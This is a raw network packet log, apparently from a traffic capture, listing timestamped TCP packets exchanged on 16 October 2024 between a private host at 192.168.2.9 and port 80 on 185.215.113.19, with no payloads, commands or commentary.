Oct 16, 2024 19:22:39.772536039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772536993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772571087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772571087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772629976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772629976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772672892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772672892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772685051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772685051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772738934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772738934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772907019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772907019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772907019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772943020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772943020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772977114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.772977114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773170948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773246050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773246050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773246050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773284912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773284912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773467064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773498058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773498058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773562908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.773562908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.775048971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.776998043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777019978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777019978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777076960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777076960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777076960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777076960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777165890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777165890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777165890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777165890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777209997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777209997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777261972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777261972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777291059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777291059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.777456999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782762051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782901049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782929897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782929897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782985926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.782985926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.783117056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.783117056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.783117056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.783117056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787003040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787206888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.787206888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791249990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791249990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791400909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791400909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791400909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791400909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791400909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791400909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.791954041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.795830965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.795830965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.795830965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.795830965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.795830965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.798998117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.798998117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.798998117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.798998117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.799994946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.799994946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.799994946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.799994946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.799994946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.799994946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.800120115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.800120115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.800120115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.800120115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.800120115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.800120115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803021908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803021908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803961039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803961039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803961039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803961039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803961039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803992033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.803992033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.804106951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.804106951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.804106951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.804106951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.804106951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.804106951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.807024002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.807024002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.807024002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.807024002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.807161093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.808319092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.808319092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.808319092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.808319092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.808320045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.808320045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.809166908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.809166908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.809166908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.809166908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.811148882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.812561989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.812561989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.812561989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.812561989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.812561989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.812561989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.813395977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.813395977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.813395977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.813395977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.815119028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816553116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816553116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816553116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816553116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816554070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816554070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816685915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816685915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816685915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816685915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816685915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.816685915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.817061901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.817061901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.820810080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.820810080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.820810080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.820810080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.820810080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.820810080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.821484089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.821484089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.821484089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.821484089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.821907997 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.821981907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825052023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825052023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825052023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825052023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825052023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825052023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825181007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825181007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825181007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825181007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825181007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825181007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825826883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.825826883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.827184916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829298019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829298019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829298019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829298019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829298019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829298973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829372883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829372883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829372883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829372883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829476118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.829476118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.831118107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833214045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833214998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833214998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833281994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833281994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833281994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833336115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833336115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833410025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833410025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833410025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833410025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833450079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833450079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833733082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.833733082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.835128069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837560892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837562084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837644100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837644100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837644100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837644100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837712049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837712049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837712049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837712049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837949991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.837949991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.841900110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.841900110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.841900110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.841900110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.841900110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.842077971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.842077971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.842077971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.842077971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845808029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845808029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845949888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845949888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845949888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845949888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845949888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.845949888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.846107006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.846107006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.846107006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.846107006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.846107006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.846107006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.851464987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854587078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854619026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854629040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854629040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854749918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854749918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854749918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854749918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854749918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.854749918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.855405092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.855405092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.855623007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.856420040 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.860851049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.864927053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.864927053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.864927053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.864927053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.864927053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.864927053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865014076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865014076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865014076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865014076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865176916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865176916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865176916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865176916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865190029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865190029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865190029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.865190029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869126081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869126081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.869294882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.871404886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.871404886 CEST	49716	80	192.168.2.9	185.215.113.19
